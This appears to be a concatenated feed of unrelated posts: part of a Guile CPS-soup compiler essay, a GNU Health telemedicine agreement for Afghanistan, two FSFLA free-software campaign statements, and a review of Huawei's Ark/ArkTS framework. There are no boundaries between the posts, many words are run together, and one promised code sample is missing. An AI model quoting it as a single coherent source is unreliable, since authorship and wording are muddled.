The calling convention also specifies how to pass arguments to callees,and likewise those continuations have a fixed calling convention; inGuile we start functions with $kfun, which has some metadata attached,and then proceed to $kclause which bridges the boundary between thestandard calling convention and the specialized graph of $kargscontinuations. (Many details of this could be tweaked, for example thatthe case-lambda dispatch built-in to $kclause could instead dispatchto distinct functions instead of to different places in the samefunction; historical accidents abound.)
As a detail, if a function is well-known, in that all its callers areknown, then we can lighten the calling convention, moving theargument-count check to callees. In that case $kfun continuesdirectly to $kargs. Similarly for return values, optimizations canmake $call continue to $kargs, though there is still somevalue-shuffling to do.
High and low
CPS bridges AST (Tree-IL) and target code
High-level: vars in outer functions in scope
Closure conversion between high and low
Low-level: Explicit closure representations; access free vars through closure
CPS soup is the bridge between parsed Scheme and machine code. Itstarts out quite high-level, notably allowing for nested scope, in whichexpressions can directly refer to free variables. Variables are smallintegers, and for high-level CPS, variable indices have to be uniqueacross all functions in a program. CPS gets lowered viaclosureconversion,which chooses specific representations for each closure that remainsafter optimization. After closure conversion, all variable access islocal to the function; free variables are accessed via explicit loadsfrom a function's closure.
Optimizations at all levels
Optimizations before and after lowering
Some exprs only present in one level
Some high-level optimizations can merge functions (higher-order to first-order)
Because of the broad remit of CPS, the language itself has two dialects,high and low. The high level dialect has cross-function variablereferences, first-class abstract functions (whose representation hasn'tbeen chosen), and recursive function binding. The low-level dialect hasonly specific ways to refer to functions: labels and specific closurerepresentations. It also includes calls to function labels instead ofjust function values. But these are minor variations; some optimizationand transformation passes can work on either dialect.
Practicalities
Intmap, intset: Clojure-style persistent functional data structures
Program: intmap<label,cont>
Optimization: program→program
Identify functions: (program,label)→intset<label>
Edges: intmap<label,intset<label>>
Compute succs: (program,label)→edges
Compute preds: edges→edges
I mentioned that programs were intmaps, and specifically in Guile theyare Clojure/Bagwell-style persistent functional data structures. Byfunctional I mean that intmaps (and intsets) are values that can't bemutated in place (though we do have the transientoptimization).
I find that immutability has the effect of deploying a sense of calm tothe compiler hacker -- I don't need to worry about data structureschanging out from under me; instead I just structure all thetransformations that you need to do as functions. An optimization isjust a function that takes an intmap and produces another intmap. Ananalysis associating some data with each program label is just afunction that computes an intmap, given a program; that analysis willnever be invalidated by subsequent transformations, because the programto which it applies will never be mutated.
This pervasive feeling of calm allows me to tackle problems that Iwouldn't have otherwise been able to fit into my head. One example isthe novel online CSEpass; oneday I'll either wrap that up as a paper or just capitulate and blog itinstead.
Flow analysis
A[k] = meet(A[p] for p in preds[k]) - kill[k] + gen[k]
Compute available values at labels:
A: intmap<label,intset<val>>
meet: intmap-intersect<intset-intersect>
-, +: intset-subtract, intset-union
kill[k]: values invalidated by cont because of side effects
gen[k]: values defined at k
But to keep it concrete, let's take the example of flow analysis. Forexample, you might want to compute "available values" at a given label:these are the values that are candidates for common subexpressionelimination. For example if a term is dominated by a car x primcallwhose value is bound to v, and there is no path from the definition ofV to a subsequent car x primcall, we can replace that second duplicateoperation with $values (v) instead.
There is a standard solution for this problem, which is to solve theflow equation above. I wrote about this at length agesago,but looking back on it, the thing that pleases me is how easy it is todecompose the task of flow analysis into manageable parts, and how thetypes tell you exactly what you need to do. It's easy to compute aninitial analysis A, easy to define your meet function when your maps andsets have built-in intersect and union operators, easy to define whataddition and subtraction mean over sets, and so on.
Persistent data structures FTW
meet: intmap-intersect<intset-intersect>
-, +: intset-subtract, intset-union
Naïve: O(nconts * nvals)
Structure-sharing: O(nconts * log(nvals))
Computing an analysis isn't free, but it is manageable in cost: thestructure-sharing means that meet is usually trivial (for fallthroughcontrol flow) and the cost of + and - is proportional to the log ofthe problem size.
CPS soup: strengths
Relatively uniform, orthogonal
Facilitates functional transformations and analyses, lowering mental load: “I just have to write a function from foo to bar; I can do that”
Encourages global optimizations
Some kinds of bugs prevented by construction (unintended shared mutable state)
We get the SSA optimization literature
Well, we're getting to the end here, and I want to take a step back.Guile has used CPS soup as its middle-end IR for about 8 years now,enough time to appreciate its fine points while also understanding itsweaknesses.
On the plus side, it has what to me is a kind of low cognitive overhead,and I say that not just because I came up with it: Guile's developmentteam is small and not particularly well-resourced, and we can't affordcomplicated things. The simplicity of CPS soup works well for ourdevelopment process (flawed though that process may be!).
I also like how by having every variable be potentially a phi, that anyoptimization that we implement will be global (i.e. not local to a basicblock) by default.
Perhaps best of all, we get these benefits while also being able to usethe existing SSA transformation literature. Because CPS is SSA, thelessons learned in SSA (e.g. loop peeling) apply directly.
CPS soup: weaknesses
Pointer-chasing, indirection through intmaps
Heavier than basic blocks: more control-flow edges
Names bound at continuation only; phi predecessors share a name
Over-linearizes control, relative to sea-of-nodes
Overhead of re-computation of analyses
CPS soup is not without its drawbacks, though. It's not suitable forJIT compilers, because it imposes some significant constant-factor (andsometimes algorithmic) overheads. You are always indirecting throughintmaps and intsets, and these data structures involve significantpointer-chasing.
Also, there are some forms of lightweight flow analysis that can beperformed naturally on a graph of basic blocks without looking too muchat the contents of the blocks; for example in our available variablesanalysis you could run it over blocks instead of individualinstructions. In these cases, basic blocks themselves are anoptimization, as they can reduce the size of the problem space, withcorresponding reductions in time and memory use for analyses andtransformations. Of course you could overlay a basic block graph on topof CPS soup, but it's not a well-worn path.
There is a little detail that not all phi predecessor values have names,since names are bound at successors (continuations). But this is adetail; if these names are important, little $values trampolines canbe inserted.
Probably the main drawback as an IR is that the graph of conts in CPSsoup over-linearizes the program. There are other intermediaterepresentations thatdon't encode ordering constraints where there are none; perhaps it wouldbe useful to marry CPS soup with sea-of-nodes, at least during sometransformations.
Finally, CPS soup does not encourage a style of programming where ananalysis is incrementally kept up to date as a program is transformed insmall ways. The result is that we end up performing much redundantcomputation within each individual optimization pass.
Recap
CPS soup is SSA, distilled
Labels and vars are small integers
Programs map labels to conts
Conts are the smallest labellable unit of code
Conts can have terms that continue to other conts
Compilation simplifies and lowers programs
Wasm vs VM backend: a question for another day :)
But all in all, CPS soup has been good for Guile. It's just SSA byanother name, in a simpler form, with a functional flavor. Or, it'sjust CPS, but first-order only, without lambda.
In the near future, I am interested in seeing what a newGCwill do for CPS soup; will bump-pointer allocation palliate some of thecosts of pointer-chasing? We'll see. A tricky thing about CPS soup isthat I don't think that anyone else has tried it in other languages, soit's hard to objectively understand its characteristics independent ofGuile itself.
Finally, it would be nice to engage in the academic conversation bypublishing a paper somewhere; I would like to see interesting criticism,and blog posts don't really participate in the citation graph. But inthe limited time available tome, faced withthe choice between hacking on something and writing a paper, it's alwaysbeen hacking, so far :)
Speaking of limited time, I probably need to hit publish on this one andmove on. Happy hacking to all, and until next time.
ADAV-Weimar (Afghan-German Doctors Association) and GNU Solidario have formalized a agreement to implement GNU Health for local and remote physicians to improve the medical care of the people in Afghanistan.
ADAV-Weimar (Afghan-German Doctors Association) is a registered voluntary association in Germany, founded in 2004 and counts with the support of over 150 health professionals from around the world. The organization provides scientific and practical help with establishing medical facilities and efficient healthcare in Afghanistan. It supports with building small but efficient Special Clinics and practices knowledge transfer by training Afghani doctors and medical staff and providing telemedicine. Furthermore, ADAV Weimar in co-operation with German E-Learning specialist Lecturio and partner Universities in Afghanistan has established an E-Learning program for medical students that provides free access to content prepared by awarded lectures from world class. Thus, ADAV-Weimar has become an inherent part of the international relations of all medical faculties in Afghanistan.
Dr. Luis Falcon, president of GNU Solidario, and Dr. Azim Mosafer, chairman of ADAV-Weimar e.V, signed this past April an initial three-year agreement to setup GNU Health Hospital Management systems, where physicians both from Afghanistan and abroad can work together to improve the healthcare and lives of the Afghan women, men and children.
Dr. Azim Mosafer – an Afghan-born German spine surgeon – is the head of the German-Afghan Doctors Association and currently involved in a European-Afghani telemedicine project. In a recent interview, Dr. Mosafer, who travels once a year to Afghanistan stressed the importance of telemedicine, at a national level and also within the country, to also provide medical care to people living in rural areas.
Since 2005 I have traveled to Afghanistan once a year for two weeks, to provide medical care. However, as a result of the high security risks in Afghanistan, fewer and fewer of my colleagues were willing to accompany me. We also began to think about doing something more effective. Even within Afghanistan, people have to travel great distances and overcome geographic obstacles in order to obtain medical care. With telemedicine such geographic hurdles can by bypassed internationally, but also inside the country.
Dr. Azim Mosafer, interview on AO spine. Source ADAV Weimar
The project has already started and the initial GNU Health Hospital Management training provided to the ADAV Weimar personnel from Germany. Initially, the implementation will provide the GNU Health Hospital Management System with telemedicine support and functionality such as:
General Practice
Family Medicine
Surgery
Laboratory
Ophthalmology
Medical Imaging
Laboratory
Odontology
Gynecology and Obstetrics
Pediatrics
Health, Functioning and Disability
Source ADAV Weimar e.V.
In GNU Solidario, we are proud to cooperate with ADAV Weimar implementing the GNU Health ecosystem. We are excited to provide the latest technology in health informatics to the betterment of science and society. The European doctors will be able to cooperate with the local health professionals in providing the best clinical assessment and medical care possible to the Afghan children, women and men, specially in this difficult times. It is now when they need it most.
Dr. Luis Falcon
This is just the beginning of the journey. We are confident that other components from the Libre digital health ecosystem, such as the GNU Health Federation and MyGNUHealth Personal Health Record will further help health professionals in Afghanistan and Europe the best tools for cooperation, knowledge transfer and medical care to the people in Afghanistan.
Governments come and go, but the oppression of imposed taxing softwarefor taxation remains.
For a lot of people, using software they cannot control is like waterfor a fish: a part of the environment they're in. When the water islow on oxygen, they may even feel the discomfort, but they seldomtrace it back to the root cause.
For us who love, live and breathe software freedom, any program thattakes it away, that attempts to control our computing and ultimatelyourselves, is painful like a sore toe in a tight shoe.
Uncomfortable and painful as the oxygen-deprived water and the tightshoe might be, being forced to breathe or wear them, prevented fromseeking better waters or from taking the shoes out, is unbearable.
We struggle to correct an analogous injustice. We had a chance torelieve one case of imposed taxing software for taxation, so we tookit, and held on to it:
Back in 2007, IRPF, the program that Brazilian taxpayers are requiredto run to prepare their income tax returns, was released withoutobfuscation, with debug information and surprisingly even under anacceptable license, which enabled us to reverse engineer it and fromthen on to update the rescued source code.
That relieved the primary oppression, but the government changes thesoftware yearly, so every year brings a new threat to our freedom, anddefending it requires duplicating the changes. That, too, is unjustlytaxing!
Democratic governments ought to respect our freedom, not threaten it.The tax laws and regulations that the program implements are and mustbe public code. Nothing that the software is programmed to do shouldbe a secret. The tax returns need to be and are verified afterturning in. Nothing justifies making the program freedom depriving.
That it remains so is a manifestation of the bad habit of abusingpower through software, of hijacking others' computers to serve one'spurposes, without thinking much of it. Thus we draw the fish'sattention to the toxic water, and to the root cause of its toxicity.
As we celebrate the 16th anniversary of the IRPF-Livre project, andtake the too-tight shoes out by releasing its updates for 2023, wecall upon the new Brazilian government, and indeed upon all democraticgovernments, to quit this bad habit, and to release, under freedom-and transparency-respecting terms, the source code for allgovernment-mandated programs, so that they are not imposed taxingsoftware. https://www.fsfla.org/~lxoliva/fsfla/irpf-livre/2023/
About Imposed Taxing Software
Since 2006, we have been running a campaign against imposed taxingsoftware: programs that are imposed in the sense that you cannot avoidthem, and taxing in the sense that they burden you in a way thatresembles a tax, but is exempt from social benefits and paid for withyour freedom.
Nonfree programs are unjust and too onerous (even when they arenominally gratis), because they imply a loss of freedom, that is, ofcontrol over your digital life. When this burden (of suppressedfreedom) is compounded with the imposition of use of such programs,they become profoundly oppressive: imposed taxing software.
Our initial focus was on oppressive software imposed by governments,such as mandatory tax-related programs and software required tointeract with public banks. https://www.fsfla.org/circular/2006-11#Editorial
In 2023, we extended the campaign to taxing software imposed byprivate providers: when freedom-depriving software is required toobtain or enjoy products or services.
To be clear, this campaign is not (solely) about software fortaxation, but rather about software that is taxing (an unjust burden,because it taxes your freedom; the software is itself like a tax), andthat, on top of that, is imposed, thus profoundly oppressive.
About IRPF-Livre
It's a software development project to prepare Natural Person's IncomeTax returns compliant with the standards defined by the BrazilianSecretaria de Receita Federal (IRS), but without the technical andlegal insecurity imposed by it.
IRPF-Livre is Free Software, that is, software that respects users'freedom to run it for any purpose, to study its source code and adaptit to their needs, and to distribute copies, modified or not.
Free Software Foundation Latin America joined in 2005 theinternational FSF network, previously formed by Free SoftwareFoundations in the United States, in Europe and in India. Thesesister organizations work in their corresponding geographies towardspromoting the same Free Software ideals and defending the samefreedoms for software users and developers, working locally butcooperating globally. https://www.fsfla.org/
Copyright 2023 FSFLA
Permission is granted to make and distribute verbatim copies of thisentire document without royalty, provided the copyright notice, thedocument's official URL, and this permission notice are preserved.
Permission is also granted to make and distribute verbatim copies ofindividual sections of this document worldwide without royaltyprovided the copyright notice and the permission notice above arepreserved, and the document's official URL is preserved or replaced bythe individual section's official URL.
Hello, dear readers! Today's article describes Ark, a newJavaScript-based mobile development platform. If you haven't read themyet, you might want to start by having a look at my past articles onCapacitor,ReactNative,NativeScript,andFlutter;having a common understanding of the design space will help usunderstand where Ark is similar and where it differs.
Ark, what it is
If I had to bet, I would guess that you have not heard of Ark. (Icertainly hadn't either, when commissioned to do this research series.)To a first approximation, Ark—or rather, what I am calling Ark; I don'tactually know the name for the whole architecture—is a looselyFlutter-like UI library implemented on top of a dialect of JavaScript,with build-time compilation to bytecode (like Hermes) but also withsupport for just-in-time and ahead-of-time compilation of bytecode tonative code. It is made by Huawei.
At this point if you are already interested in this research series, Iam sure this description raises more questions than it answers.Flutter-like? A dialect? Native compilation? Targetting whatplatforms? From Huawei? We'll get to all of these, but I think weneed to start with the last question.
How did we get here?
In my last article on Flutter, I told a kind of just-so history of howDart and Flutter came to their point in the design space. Thanks tocorrections from a kind reader, it happened to also be more or lesscorrect. In this article, though, I haven't talked with Ark developersat all; I don't have the benefit of a true claim on history. And yet,the only way I can understand Ark is by inventing a narrative, so herewe go. It might even be true!
Recall that in 2018, Huawei was a dominant presence in the smartphonemarket. They were shipping excellent hardware at good prices both tothe Chinese and to the global markets. Like most non-Apple, non-Googlemanufacturers, they shipped Android, and like most Android OEMs, theyshipped Google's proprietary apps (mail, maps,etc.).
But then, over the next couple years, the US decided that allowingHuawei to continue on as before was, like, against national securityinterests or something. Huawei was barred from American markets, anumber of suppliers were forbidden from selling hardware components toHuawei, and even Google was prohibited from shipping its mobile apps onHuawei devices. The effect on Huawei's market share for mobile deviceswas enormous: its revenue was cut in half over a period of a coupleyears.
In this position, as Huawei, what do you do? I can't even imagine, butspecifically looking at smartphones, I think I would probably do aboutwhat they did. I'd fork Android, for starters, because that's what youalready know and ship, and Android is mostly open source. I'd probablyplan on continuing to use its lower-level operating system piecesindefinitely (kernel and so on) because that's not a valuedifferentiator. I'd probably ship the same apps on top at first,because otherwise you slip all the release schedules and lose revenueentirely.
But, gosh, there is the risk that your product will be perceived as justa worse version of Android: that's not a good position to be in. Youneed to be different, and ideally better. That will take time. In themeantime, you claim that you're different, without actually beingdifferent yet. It's a somewhat ridiculous position to be in, but I canunderstand how you get here; Ars Technica published a scathingreviewpoking fun at the situation. But, you are big enough to ride it out,knowing that somehow eventually you will be different.
Up to now, this part of the story is relatively well-known; the partthat follows is more speculative on my part. Firstly, I would note thatHuawei had been working for a while on a compiler and language run-timecalled ArkCompiler,with the goal of getting better performance out of Android applications.If I understand correctly, this compiler took the Java / Dalvik /Android Run Time bytecodes as its input, and outputted native binariesalong with a new run-time implementation.
As I can attest from personal experience, having a compiler leads tohubris: you start to consider source languages like a hungry personlooks at a restaurant menu. "Wouldn't it be nice to ingest that?"That's what we say at restaurants, right, fellow humans? So in 2019 and2020 when the Android rug was pulled out from underneath Huawei, I thinkhaving in-house compiler expertise allowed them to consider whether theywanted to stick with Java at all, or whether it might be better tochoose a more fashionable language.
Like black, JavaScript is always in fashion. What would it mean,then, to retool Huawei's operating system -- by then known by the name"HarmonyOS" -- to expose a JavaScript-based API as its primary appdevelopment framework? You could use your Ark compiler somehow toimplement JavaScript (hubris!) and then you need a UI framework. Havingditched Java, it is now thinkable to ditch all the other Androidstandard libraries, including the UI toolkit: you start anew, in a way.So are you going to build a Capacitor, a React Native, a NativeScript, aFlutter? Surely not precisely any of these, but what will it be like,and how will it differ?
Incidentally, I don't know the origin story for the name Ark, but to meit brings to mind tragedy and rebuilding: in the midst of being cut offfrom your rich Android ecosystem, you launch a boat into the sea,holding a promise of a new future built differently. Hope and hubris inone vessel.
Two programming interfaces
In the end, Huawei builds two things: something web-like and somethinglike Flutter. (I don't mean to suggest copying or degeneracy here; it'srather that I can only understand things in relation to other things,and these are my closest points of comparison for what they built.)
The web-like programming interface specifies UIs using an XML dialect,HML,and styles the resulting node tree with CSS. You augment these nodeswith JavaScript behavior; the main app is a set of DOM-like eventhandlers.There is an API to dynamically create DOMnodes,but unlike the other systems we have examined, the HarmonyOSdocumentation doesn't really sell you on using a high-level frameworklike Angular.
If this were it, I think Ark would not be so compelling: the programmingmodel is more like what was available back in the DHTMLdays. I wouldn't expectpeople to be able to make rich applications that delight users, giventhese primitives, though CSS animation and the HML loop and conditionalrenderingfrom the template system might be just expressive enough for simpleapplications.
The more interesting side is the so-called "declarative" UI programmingmodel which exposes a Flutter/React-like interface. The programmerdescribes the "what" of the UI by providing a tree of UI nodes in itsbuild function, and the framework takes care of calling build whennecessary and of rendering that tree to the screen.
Here I need to show some example code, because it is... weird. Well, Ifind it weird, but it's not too far fromSwiftUI in flavor. Asmall example from the finemanual:
The @Entry decorator (*) marks this struct (**) as being the mainentry point for the app. @Component marks it as being a component,like a React functional component. Components conform to an interface(***) which defines them as having a build method which takes noarguments and returns no values: it creates the tree in a somewhatimperative way.
But as you see the flavor is somewhat declarative, so how does thatwork? Also, build() { ... } looks syntactically a lot like Stack() { ... }; what's the deal, are they the same?
Before going on to answer this, note my asterisks above: these areconcepts that aren't in JavaScript. Indeed, programs written forHarmonyOS's declarative framework aren't JavaScript; they are in adialect of TypeScript that Huawei calls ArkTS. In this case, aninterface is a TypeScriptconcept.Decorators would appear to correspond to an experimental TypeScriptfeature,looking at the source code.
But struct is an ArkTS-specificextension,and Huawei has actually extended the TypeScript compiler to specificallyrecognize the @Component decorator, such that when you "call" astruct, for example as above in Stack() { ... }, TypeScript will parsethat as a new expression typeEtsComponentExpression,which may optionally be followed by a block. When Stack() is invoked,its children (instances of Image and Text, in this case) will bepopulated via running the block.
Now, though TypeScript isn't everyone's bag, it's quite normalized in theJavaScript community and not a hard sell. Language extensions like the handling of @Componentpose a more challenging problem. Still, Facebook managed to sell peopleon JSX, so perhaps Huawei can do the same for their dialect. More onthat later.
Under the hood, it would seem that we have a similar architecture toFlutter: invoking the components creates a corresponding tree ofelements (as with React Native's shadow tree), which then are loweredto render nodes, which draw themselves onto layers using Skia, in amulti-threaded rendering pipeline. Underneath, the UI code actuallyre-uses some parts of Flutter, though from what I can tellHarmonyOS developers are replacing those over time.
Restrictions and extensions
So we see that the source language for the declarative UI framework isTypeScript, but with some extensions. It also has its restrictions, andto explain these, we have to talk about implementation.
Of the JavaScript mobile application development frameworks wediscussed, Capacitor and NativeScript used "normal" JS engines from web browsers, whileReact Native built their own Hermes implementation. Hermes is alsorestricted, in a way, but mostly inasmuch as it lags the browser JSimplementations; it relies on source-to-source transpilers to get accessto new language features. ArkTS—that's the name of HarmonyOS's"extended TypeScript" implementation—has more fundamental restrictions.
Recall that the Ark compiler was originally built for Android apps.There you don't really have the ability to load new Java or Kotlinsource code at run-time; in Java you have class loaders, but those loadbytecode. On an Android device, you don't have to deal with the Javasource language. If we use a similar architecture for JavaScript,though, what do we do about eval?
ArkTS's answer is: don't. As in, eval is not supported on HarmonyOS.In this way the implementation of ArkTS can be divided into two parts, afrontend that produces bytecode and a runtime that runs the bytecode,and you never have to deal with the source language on the device wherethe runtime is running. Like Hermes, the developer produces bytecodewhen building the application and ships it to the device for the runtimeto handle.
Indeed ArkTS as a whole has a surfeit of optimizations, to an extentthat makes me wonder which ones are actually needed. There aresource-to-source optimizations onbytecode,which I expect are useful if you are generating ArkTS bytecode fromJavaScript, where you probably don't have a full compilerimplementation. There is a completely separateoptimizerin the eTS part of the run-time, based on what would appear to be anovel "circuit-based"IRthat bears some similarity to sea-of-nodes. Finally the whole thingappears to bottom out inLLVM,which of course has its own optimizer. I can only assume that thissituation is somewhat transitory. Also, ArkTS does appear to generateits own native code sometimes, notably for inline cache stubs.
Of course, when it comes to JavaScript, there are some fundamentallanguage semantics and there is also a large and growing standardlibrary. In the case of ArkTS, this standard library is part of therun-time,like the interpreter, compilers, and the garbage collector(generational concurrent mark-sweep with optionalcompaction).
All in all, when I step back from it, it's a huge undertaking.Implementing JavaScript is no joke. It appears that ArkTS has done thefirst 90% though; the proverbial second 90% should only take a few moreyears :)
Evaluation
If you told a younger me that a major smartphone vendor switched fromJava to JavaScript for their UI, you would probably hear me react interms of the relative virtues of the programming languages in question.At this point in my career, though, the only thing that comes to mind iswhat an expensive proposition it is to change everything about anapplication development framework. 200 people over 5 years would be myestimate, though of course teams are variable. So what is it that wecan imagine that Huawei bought with a thousand person-years ofinvestment? Towards what other local maximum are we heading?
Startup latency
I didn't mention it before, but it would seem that one of the goals ofHarmonyOS is in the name: Huawei wants to harmonize development acrossthe different range of deployment targets. To the extent possible, itwould be nice to be able to write the same kinds of programs for IoTdevices as you do for feature-rich smartphones and tablets and the like.In that regard one can see through all the source code how there is aculture of doing work ahead-of-time and preventing work at run-time; forexample see the design doc for theinterpreter,or for the fileformat,or indeed the lack of JavaScript eval.
Of course, this wide range of targets also means that the HarmonyOSplatform bears the burden of a high degree of abstraction; not only canyou change the kernel, but also the JavaScript engine (usingJerryScript on "lite" targets).
I mention this background because sometimes in news articles and indeedofficial communication from recent years there would seem to be someconfusion that HarmonyOS is just for IoT, or aimed to be super-small, orsomething. In this evaluation I am mostly focussed on the feature-richside of things, and there my understanding is that the developer willgenerate bytecode ahead-of-time. When an app is installed on-device,the AOT compiler will turn it into a single ELF image. This shouldgenerally lead to fast start-up.
However it would seem that the renderinglibrarythat paints UI nodes into layers and then composits those layers usesSkia in the way that Flutter did pre-Impeller, which to be fair is aquite recent change to Flutter. I expect therefore that Ark (ArkTS +ArkUI) applications also experience shader compilation jank at startup,and that they may be well-served by tesellating their shapes intoprimitives like Impeller does so that they can precompile a fixed,smaller set of shaders.
Jank
Maybe it's just that apparently I think Flutter is great, but ArkUI'sfundamental architectural similarity to Flutter makes me think that jankwill not be a big issue. There is a render thread that is separate fromthe ArkTS thread, so like with Flutter, async communication withmain-thread interfaces is the main jank worry. And on the ArkTS side,ArkTS even has a number of extensions to be able to share objectsbetween threads without copying, should that be needed. I am not surehow well-developed and well-supported these extensions are, though.
I am hedging my words, of course, because I am missing a bit of socialproof; HarmonyOS is still in infant days, and it doesn't have much inthe way of a user base outside China, from what I can tell, and myability to read Chinese is limited to what Google Translate can do forme :) Unlike other frameworks, therefore, I haven't been as able tocatch a feel of the pulse of the ArkUI user community: what people arehappy about, what the pain points are.
It's also interesting that unlike iOS or Android, HarmonyOS is onlyexposing these "web-like" and "declarative" UI frameworks for appdevelopment. This makes it so that the same organization is responsiblefor the software from top to bottom, which can lead to interestingcross-cutting optimizations: functional reactive programming isn't justa developer-experience narrative, but it can directly affect the shapeof the rendering pipeline. If there is jank, someone in the building isresponsible for it and should be able to fix it, whether it is in theGPU driver, the kernel, the ArkTS compiler, or the application itself.
Peak performance
I don't know how to evaluate ArkTS for peak performance. Although thereis a JIT compiler, I don't have the feeling that it is as tuned foradaptive optimization as V8 is.
At the same time, I find it interesting that HarmonyOS has chosen tomodify JavaScript. While it is doing that, could they switch to a soundtype system, to allow the kinds of AOT optimizations that Dart can do?It would be an interesting experiment.
As it is, though, if I had to guess, I would say that ArkTS iswell-positioned for predictably good performance with AOT compilation,although I would be interested in seeing the results of actually runningit.
Aside: On the importance of storytelling
In this series I have tried to be charitable towards the frameworks thatI review, to give credit to what they are trying to do, even whilenoting where they aren't currently there yet. That's part of why I needa plausible narrative for how the frameworks got where they are, becausethat lets me have an idea of where they are going.
In that sense I think that Ark is at an interesting inflection point.When I started reading documentation about ArkUI and HarmonyOS and allthat, I bounced out—there were too many architectural boxdiagrams, too many generic descriptions of components, too many promiseswith buzzwords. It felt to me like the project was trying to justifyitself to a kind of clueless management chain. Was there actuallyanything here?
But now when I see the adoption of a modern rendering architecture and abold new implementation of JavaScript, along with the willingness toexperiment with the language, I think that there is an interesting storyto be told, but this time not to management but to app developers.
Of course you wouldn't want to market to app developers when yoursystem is still a mess because you haven't finished rebuilding an MVPyet. Retaking my charitable approach, then, I can only think that allthe architectural box diagrams were a clever blind to avoid piquing outsideinterest while the app development kit wasn't readyyet :) As and when the system starts working well, presumably over thenext year or so, I would expect HarmonyOS to invest much more heavily inmarketing and developer advocacy; the story is interesting, but you haveto actually tell it.
Aside: O platform, my platform
All of the previous app development frameworks that we looked at werecross-platform; Ark is not. It could be, of course: it does appear tobe thoroughly open source. But HarmonyOS devices are the main target.What implications does this have?
A similar question arises in perhaps a more concrete way if we startwith the mature Flutter framework: what would it mean to make a Flutterphone?
The first thought that comes to mind is that having a Flutter OS wouldallow for the potential for more cross-cutting optimizations that crossabstraction layers. But then I think, what does Flutter really need?It has the GPU drivers, and we aren't going to re-implement those. Ithas the bridge to the platform-native SDK, which is not such a large andimportant part of the app. You get input from the platform, but that'salso not so specific. So maybe optimization is not the answer.
On the other hand, a Flutter OS would not have to solve themake-it-look-native problem; because there would be no other "native"toolkit, your apps won't look out of place. That's nice. It's notsomething that would make the platform compelling, though.
HarmonyOS does have this embryonic concept of app mobility, where likeyou could put an app from your phone on your fridge, or something.Clearly I am not doing it justice here, but let's assume it's acompelling use case. In that situation it would be nice for all devicesto present similar abstractions, so you could somehow install the sameapp on two different kinds of devices, and they could communicate totransfer data. As you can see here though, I am straying far from mydomain of expertise.
One reasonable way to "move" an app is to have it stay running on yourphone and the phone just communicates pixels with your fridge (orwhatever); this is the low-level solution. I think HarmonyOS appears tobe going for the higher-level solution where the app actually runs logicon the device. In that case it would make sense to ship UI assets andJavaScript / extended TypeScript bytecode to the device, which would runthe app with an interpreter (for low-powered devices) or use JIT/AOTcompilation. The Ark runtime itself would live on all devices,specialized to their capabilities.
In a way this is the Apple WatchOS solution (as I understand it);developers publish their apps as LLVM bitcode, and Apple compiles it forthe specific devices. A FlutterOS with a Flutter run-time on alldevices could do something similar. As with WatchOS you wouldn't haveto ship the framework itself in the app bundle; it would be on thedevice already.
Finally, publishing apps as some kind of intermediate representationalso has security benefits: as the OS developer, you can ensure someinvariants via the toolchain that you control. Of course, you would have to ensurethat the Flutter API is sufficiently expressive for high-performanceapplications, while also not having arbitrary machine code executionvulnerabilities; there is a question of language and framework design aswell as toolchain and runtime quality of implementation. HarmonyOScould be headed in this direction.
Conclusion
Ark is a fascinating effort that holds much promise. It's also still inmotion; where will it be when it anneals to its own local optimum? Itwould appear that the system is approaching usability, but I expect adegree of churn in the near-term as Ark designers decide which languageabstractions work for them and how to, well, harmonize them with therest of JavaScript.
For me, the biggest open question is whether developers will love Ark inthe way they love, say, React. In a market where Huawei is still adominant vendor, I think the material conditions are there for a gooddeveloper experience: people tend to like Flutter and React, and Ark issimilar. Huawei "just" needs to explain their framework well (and whereit's hard to explain, to go back and change it so that it isexplainable).
But in a more heterogeneous market, to succeed Ark would need to make across-platform runtime like the one Flutter has and engage in someserious marketing efforts, so that developers don't have to limitthemselves to targetting the currently-marginal HarmonyOS. Sellingextensions to JavaScript will be much more difficult in a context wherethe competition is already established, but perhaps Ark will be able toproductively engage with TypeScript maintainers to move the language so itcaptures some of the benefits of Dart that facilitate ahead-of-timecompilation.
Well, that's it for my review round-up; hope you have enjoyed theseries. I have one more pending article, speculating about some futuretechnologies. Until then, happy hacking, and see you next time.
What these banks are saving in offices and staff, we customers arepaying for with security and freedom. They are morally bankrupt.
Genuine security never depends on secret software. On the contrary,transparency strengthens security.
Nevertheless, these banks impose on us, in the name of security (theirown, not ours), various harmful behaviors:
the use of software that we cannot control and whose actions on ourcomputers are hidden from us;
the use of too-short passwords; and
the use of devices and operating systems designed to run undersomeone else's control, and to collect and exfiltrate our data.
Running software controlled by others always implies a loss offreedom, and a threat to security and privacy.
The requirement to use these programs has become so common andpersistent that it seems unavoidable. Thus, we have decided to expandour campaign against imposed taxing software beyond state-controlledinstitutions to also include private services and goods whoseproviders converge on such impositions. https://www.fsfla.org/anuncio/2023-04-bancarrota#softimp
We share our board member Alexandre Oliva's recent account of his over20 years of struggle against technological abuse by banks in hiscountry. We highlight his recent legal victory: online bankingservices must be restored without requiring the installation ofprograms other than a standard browser. Read more: https://www.fsfla.org/texto/bancarrota
About Imposed Taxing Software
Since 2006, we have been running a campaign against imposed taxingsoftware: programs that are imposed in the sense that you cannot avoidthem, and taxing in the sense that they burden you in a way thatresembles a tax, but is exempt from social benefits and paid for withyour freedom.
Nonfree programs are unjust and too onerous (even when they arenominally gratis), because they imply a loss of freedom, that is, ofcontrol over your digital life. When this burden (of suppressedfreedom) is compounded with the imposition of use of such programs,they become profoundly oppressive: imposed taxing software.
Our initial focus was on oppressive software imposed by governments,such as mandatory tax-related programs and software required tointeract with public banks. https://www.fsfla.org/circular/2006-11#Editorial
In 2023, we extended the campaign to taxing software imposed byprivate providers: when freedom-depriving software is required toobtain or enjoy products or services.
To be clear, this campaign is not (solely) about software fortaxation, but rather about software that is taxing (an unjust burden,because it taxes your freedom; the software is itself like a tax), andthat, on top of that, is imposed, thus profoundly oppressive.
About FSFLA
Free Software Foundation Latin America joined in 2005 theinternational FSF network, previously formed by Free SoftwareFoundations in the United States, in Europe and in India. Thesesister organizations work in their corresponding geographies towardspromoting the same Free Software ideals and defending the samefreedoms for software users and developers, working locally butcooperating globally. https://www.fsfla.org/
Copyright 2023 FSFLA
Permission is granted to make and distribute verbatim copies of thisentire document without royalty, provided the copyright notice, thedocument's official URL, and this permission notice are preserved.
Permission is also granted to make and distribute verbatim copies ofindividual sections of this document worldwide without royaltyprovided the copyright notice and the permission notice above arepreserved, and the document's official URL is preserved or replaced bythe individual section's official URL.
